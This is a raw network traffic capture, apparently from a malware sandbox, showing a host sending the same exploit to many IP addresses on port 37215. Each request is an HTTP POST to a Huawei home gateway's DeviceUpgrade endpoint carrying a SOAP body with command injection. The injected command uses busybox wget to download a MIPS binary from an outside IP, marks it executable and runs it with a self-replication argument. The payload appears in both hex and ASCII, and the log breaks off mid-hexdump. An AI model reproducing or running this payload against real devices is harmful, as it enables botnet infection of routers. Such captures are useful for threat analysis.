2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	47228	41.178.100.181	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608135939 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	39300	197.40.23.137	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608170033 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	35606	157.187.148.134	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608216047 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	41596	41.88.176.209	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608221054 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	49810	41.143.18.123	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608267069 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	34188	41.89.33.33	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608289003 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	48282	41.78.39.108	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608304024 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	52692	157.88.238.24	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608357906 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	55460	123.236.6.145	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608359098 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	48030	157.133.254.58	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608385086 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	57120	41.148.120.113	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608398914 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 